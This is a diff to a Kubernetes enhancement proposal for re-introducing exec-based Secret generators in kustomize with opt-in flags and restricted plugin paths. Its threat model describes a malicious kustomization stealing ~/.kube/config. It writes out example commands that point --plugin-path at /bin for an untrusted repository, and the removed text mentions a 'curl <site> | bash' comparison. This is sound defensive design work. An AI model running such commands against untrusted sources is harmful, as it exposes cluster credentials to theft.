address pr comments

keps/sig-cli/kustomize-exec-secret-generator.md

@@ -35,33 +35,33 @@ status: implementable
 ## Summary
 
 The ability to generate Secrets using `exec` was removed in kustomize v2 because of security concerns
-about allowing `kustomization.yaml`'s publishers to execute arbitrary commands on the
-machines of any user who applies the `kustomization.yaml`.
+about users kustomizing malicious `kustomization.yaml`s and thereby providing a path for `kustomization.yaml`'s
+publishers to execute arbitrary commands on the machines of any user who applies the `kustomization.yaml`.
 
 Example goal to enable:
 
-- Alice wants to develop an Application requiring a shared Secret, and to deploy it on Kubernetes using gitops
-- Alice wants her gitops deployment mechanism to pull the Secrets that it deploys from an
+- Alice wants to develop an Application requiring a shared Secret, and to deploy it on Kubernetes using GitOps
+- Alice wants her GitOps deployment mechanism to pull the Secrets that it deploys from an
   remote source without writing the Secrets as files to local disk.
-- Alice's organization configures the gitops deployment container to run kustomize in the cluster
+- Alice's organization configures the gitops deployment container to run Kustomize in the cluster
   and be capable of pulling Secrets from remote locations
 - Alice writes her kustomization.yaml to use the generation options configured by her organization.
 
 Example exploit to avoid:
 
 - Alice wants to run a whitebox mysql instance on a test cluster
-- Carl publishes a whitebox mysql `kustomization.yaml` on GitHub, with a SecretGenerator
-  that will read Alice's ~/.kube/config and send it to Carl's server by executing `sh`
-  will a script to generate some Secret
-- Alice runs `kubectl apply -k https://github.com/carl/mysql` and has the credentials
-  of all of her Kubernetes clusters sent to Carl when the Secret is generated.
+- Chuck publishes a whitebox mysql `kustomization.yaml` on GitHub, with a SecretGenerator
+  that will read Alice's ~/.kube/config and send it to Chuck's server by executing `sh`
+  will run a script to generate some Secret
+- Alice runs `kubectl apply -k https://github.com/chuck/mysql` and has the credentials
+  of all of her Kubernetes clusters sent to Chuck when the Secret is generated.
 
-See [692][execRemoval] for more details.
+See [kubernetes-sigs/kustomize#692](https://github.com/kubernetes-sigs/kustomize/issues/692) for more details.
 
 ## Motivation
 
-The ability to create Kubernetes Secrets generated by commands is a commonly requested user.
-This is useful for use cases where the user doesn't want the Secrets to be appear decrypted
+The ability to create Kubernetes Secrets generated by commands is commonly requested by users.
+This is useful for use cases where the user does not want the Secrets to be appear decrypted
 on disk before being applied to the cluster.
 
 Examples:
@@ -70,89 +70,197 @@ Examples:
 - Secrets sources are not stored locally, and need to be fetched from some remote location
 - Secrets are generated using some function (e.g. private-keys)
 
-**Note:** For the common targeted case, *the solution for generating the Secret already
-exists as a command on the user's machine*.  User's are not expected to require a
-marketplace of solutions, rather instead they are expected to need to be able to
-invoke the tools they already depend upon.
+**Note:** For the target case, *the command for generating the Secret already exists as an executable on
+the user's machine*.  User's are not expected to want a marketplace of solutions, rather instead they are
+expected to want to be able to invoke the tools they already use for addressing this task.
 
 ### Goals
 
-- Enable users to generate Secrets using the tools they already have on their machines
-- Require Alice to opt-in inorder for Carl to execute commands on her machine
-- Support Linux / Mac / Windows platforms
+- Enable users to generate Secrets using the tools they already use to do so
+- Secure by default - Alice must configure her environment in an insecure manner and run the command in an 
+  insecure way for it to be exploitable
+- Support Linux / Mac / Windows OS's
 
 ### Non-Goals
 
-- Enable an ecosystem of users authoring plugins and sharing them
-- Reduce friction for publicly published whitebox `kustomization.yaml`s to generate Secrets
-
+- Support an ecosystem of users (i.e. not centralized within a single organization) authoring plugins
+  and sharing them with one another.
+- Eliminate all friction for publicly published whitebox `kustomization.yaml`s to generate Secrets
 
 ## Proposal
 
-Re-introduce `exec` Secret generators, but require the executables to have a whitelisted prefix
-and require a flag.
-
-- Introduce a flag `--secret-generator-exec-prefix` defaulted to `kustomize-sg-`
-- Introduce a flag `--enable-exec-secret-generator` defaulted to `false`
-- Commands provided to generate Secrets *must* start with the prefix, or kustomize will exit 1
-- The enable flag *must* be provided if an exec Secret Generator is specified, or kustomize will exit 1
-- Command is executed from the `PATH` variable, it cannot be an absolute or relative path
-  - This is to prevent Carl from publishing a malicious generator with the kustomization.yaml and invoking it
-- Users can override the prefix with a string value with `len(value) > 2` - e.g. `sg-`
-  - Min length is to prevent users from providing an empty value, which would allow arbitrary command execution
+Re-introduce `exec` SecretGenerators, but with the following safeguards in place to address security concerns.
+
+- Plugins must be explicitly enabled with a flag.  If it is not enabled and is used, Kustomize will exit 1 without
+  running exec.
+  - This is to protect against the case where exploitable plugins are installed and used safely internally in an
+    organization.
+  - If exiting 1, Kustomize will first print the list of plugins exec commands that were not executed, and a message
+    about the flag.
+- Executables are restricted to flag defined paths - defaulted a location that is empty by default.  Users must install / symlink executables to this location.
+
+### New Flags
+
+|Feature   | Name               | Type     | Default                                         |  Description |
+|----------|--------------------|----------|-------------------------------------------------|--------------|
+| `enabled`| `--enable-plugins` | bool     | `false`                                         | Enable plugins.  If set to `false` and plugins are specified by the `kustomization.yaml` (recursively), then Kustomize will print the plugins that would be run and exit 1. |
+| `path`   | `--plugin-path`    | []string | ["`$XDG_CONFIG_HOME/kustomize/plugins/kvSources`", "`/usr/local/kustomize/plugins/kvSources`"] | List of relative or absolute paths to search for plugin actuators - e.g. for `exec` look for executables on these paths.  For `go-plugins` look for `.so` files on these paths.  Relative paths must are relative to the `kustomization.yaml` provided to the command.  They are never not relative to the base `kustomization.yaml`s. |
+
+### Example
+
+#### Default Path
+
+Note: `my-exec-plugin` exists at `$XDG_CONFIG_HOME/kustomize/plugins/kvSources/my-exec-plugin`
+
+```yaml
+secretGenerator:
+- name: fromPlugins
+  kvSources:
+  - pluginType: exec
+    name: my-exec-plugin
+    args:
+    - anotherArg
+    - yetAnotherArg
+```
+
+```sh
+$ kustomize build ./ --enable-plugins
+```
+
+#### Flag Defined Absolute Path
+
+Note: `my-exec-plugin` exists at `/foo/kvSources/my-exec-plugin`
+
+```yaml
+secretGenerator:
+- name: fromPlugins
+  kvSources:
+  - pluginType: exec
+    name: my-exec-plugin
+    args:
+    - anotherArg
+    - yetAnotherArg
+```
+
+```sh
+$ kustomize build ./ --enable-plugins --plugin-path=/foo/kvSources/
+```
+
+#### Flag Defined Relative Path
+
+Note: `my-exec-plugin` exists at `./my-exec-plugin`
+
+```yaml
+secretGenerator:
+- name: fromPlugins
+  kvSources:
+  - pluginType: exec
+    name: my-exec-plugin
+    args:
+    - anotherArg
+    - yetAnotherArg
+```
+
+```sh
+$ kustomize build ./ --enable-plugins --plugin-path=./
+```
+
+#### Not Enabled
+
+Note: `my-exec-plugin` exists at `/usr/local/kustomize/plugins/kvSources/my-exec-plugin`
+
+```yaml
+secretGenerator:
+- name: fromPlugins
+  kvSources:
+  - pluginType: exec
+    name: my-exec-plugin
+    args:
+    - anotherArg
+    - yetAnotherArg
+```
+
+```sh
+$ kustomize build ./
+```
+
+Output:
+
+```bash
+secretGenerator plugins used, but plugins not enabled.  To enable plugins for trusted sources, specify --enable-plugins.
+secretGenerator plugins that will be run with --enable-plugins:
+$XDG_CONFIG_HOME/kustomize/plugins/builtin/my-exec-plugin anotherAg yetAnotherARg
+```
 
 ## Risks and Mitigations
 
 ### Security
 
-**Risk:** Carl is able to exploit this feature to do something bad on Alice's machine
+**Risk:** Chuck is able to exploit this feature to do something bad on Alice's machine
 
 Required steps to exploit:
 
-- Alice executes (via `-k` or `kustomize`) an untrusted kustomization.yaml containing
-  a SecretGenerator
-- Alice opted-in to generation by providing `--enable-exec-secret-generator`
-- Alice "installed" the targeted SecretGenerator locally on their PATH
-  - Added the command starting with `kustomize-sg-` (or whatever they provided via the flag) to her `PATH`
-- The installed SecretGenerator can be provided arguments in a way that can be exploited
-  - e.g. A command like `cat` would not be possible for Carl to exploit in a meaningful way
+- Alice executes (via `-k` or `kustomize`) a malicious `kustomization.yaml`
+  - Alice does *not* run *without* enabling plugins with `--enable-plugins` to see which
+    plugins will be run and with which values.
+- Alice opted-in to enable plugins by providing the flag `--enable-plugins`
+- Alice or her organization installed the targeted SecretGenerator to `$XDG_CONFIG_HOME/kustomize/plugins/kvSources`
+  or another location she provided with `--plugin-path=<path-including-exploitable-binary>`
+- The specified SecretGenerator must be exploitable
+  - Simple transformation functions would not be exploitable.
+  - e.g. A command like `cat` would not be possible for Chuck to exploit in a meaningful way.
 
-Analysis:
+Example Exploit Commands:
 
-This is a very low risk profile, with Alice having to install the targeted binary on their
-PATH as a kustomize plugin (using the name-prefix), the binary would have to be one that could
-be exploited by Carl, Alice would need to run kustomize against an untrusted `kustomization.yaml`,
-and Alice would need to provide the flag `--enable-exec-secret-generator`.  If Carl was able
-to get Alice to perform these steps, he would likely be able to get her to run
-`$ curl <site> | bash` which would be a more effective technique.
+In kustomize:
 
-### Easy of Use
+```sh
+# User enables the plugin and allows it to exec sh
+$ kustomize build https://github.com/chuck/maliciousapp --enable-plugins --plugin-path=/bin
+```
 
-**Risk:** This is too hard or confusing for users to use.
+In kubectl:
 
-Required steps to use:
-
-- Alice creates a script to generate the Secret called `kustomize-sg-my-cool-script.sh`
-- Alice adds the script to her PATH
-- Alice authors the `kustomization.yaml` with a SecretGenerator invoking the script
-- Alice runs kustomize with `--enable-exec-secret-generator`
+```sh
+# User enables the plugin and allows it to exec sh
+$ kubectl apply -k https://github.com/chuck/maliciousapp --enable-plugins --plugin-path=/bin
+```
 
 Analysis:
 
-There are a small number of simple and well defined steps that ensure Alice explicitly configures
-her environment so that kustomize can execute specific commands.
+This is a low risk profile.  Alice has to: kustomize a malicious kustomization file,
+explicitly enable plugins as command line arguments, and install an exploitable plugin to
+exploit the plugin system.
+
+By default kustomize will not-execute the plugins, and print out which plugins were specified
+with their arguments.
 
 ## Alternatives Considered
 
-Create a plugin mechanism similar to git or kubectl plugins and exec to plugins only.
+### Git Style Plugins
+
+Create a plugin mechanism similar to git or kubectl plugins which supports sub commands.
+
+kubectl and git plugins are targeted at providing a clean interactive UX with extensible sub commands.
+Because the plugins will be invoked declaratively rather than imperatively support for this sort of
+UX is not necessary.
+
+### Allow Transformers to do more
+
+Allow Transformers to add / remove objects, or update their names / namespaces.
+
+Why not: Greatly reduces the ability to look at the kustomize file and understand what
+will be emitted.  e.g. a Transformer could change all ConfigMaps to Secrets, this would
+make it very difficult to read the Declarative Resource Config.
+
+Reasons why not:
 
-- Plugin mechanisms such as those used by git and kubectl provide a better ux experience when
-  discovering and running imperative commands.  This is not a good fit for declaring commands
-  in a config file, as it is better to be explicit and clear about the command that is being run.
-- Plugin mechanisms encourage developing ecosystems of shared plugins.  This feature is targeting
-  existing tools that users already use, rather than developing new tools.
-- Plugin mechanisms don't offer additional security features over what is being proposed here, as
-  they use the same mechanism with an implicit UX.
+1. Reduces readbility of the kustomization file by introducing complex changes to what is generated rather
+  than kustomizations.
+1. Increases the likelihood that transformers will break reference updates - e.g. things that need to
+  update references to other objects may break.
+1. No clear use case for this has been defined.
+1. Easy to lift these restrictions, hard to introduce them later.
 
 ## Graduation Criteria
 
@@ -165,25 +273,36 @@ such is relatively well understood.
 
 Gather user feedback.  Determine if there are addressable gaps.
 
+Consider the following:
+
+#### Enable Plugins with Environment Variables
+
+Allow users to specify `export KUSTOMIZE_ENABLE_PLUGINS=true` instead of providing the flag.
+
+#### Audit Command
+
+Add a new command in Kustomize: `kustomize audit dir/`
+
+This will print out which commands (including args and flags) will be invoked when Kustomize is run,
+without actually invoking them.  This will generally be helpful for users to view how secrets are generated.
+
+#### More OS Specific install locations
+
+Consider defaulting search path to include OS specific install locations such as `/Library/` or `~/Library` on OS X.
+
+#### More Powerful Transformers
+
+Lift restrictions on what transformers are allowed to do.
+
 ## Testing and documentation.
 
 ### Testing
 
-- Verify the that if exec is used with a command that doesn't have the prefix, an error is returned
-  without the command being executed.
-  - If multiple commands exist, and some have the prefix and some don't, then none of the commands should be executed
-- Verify that if the user specifies the prefix flag, the new prefix is used.
-  - Commands with the new prefix should work
-  - Commands with the default prefix should now fail
-- Verify that if the enable flag is not provided, kustomize will exit 1 if and exec generators are provided
-  - Even if they match the prefix
-- Verify absolute paths fail
-- Verify relative paths fail
-- Verify the happy case
+TBD.
 
 ### Documentation
 
-Update the "Kubectl Book" Secret Generator chapter.
+TBD
 
 ## Implementation History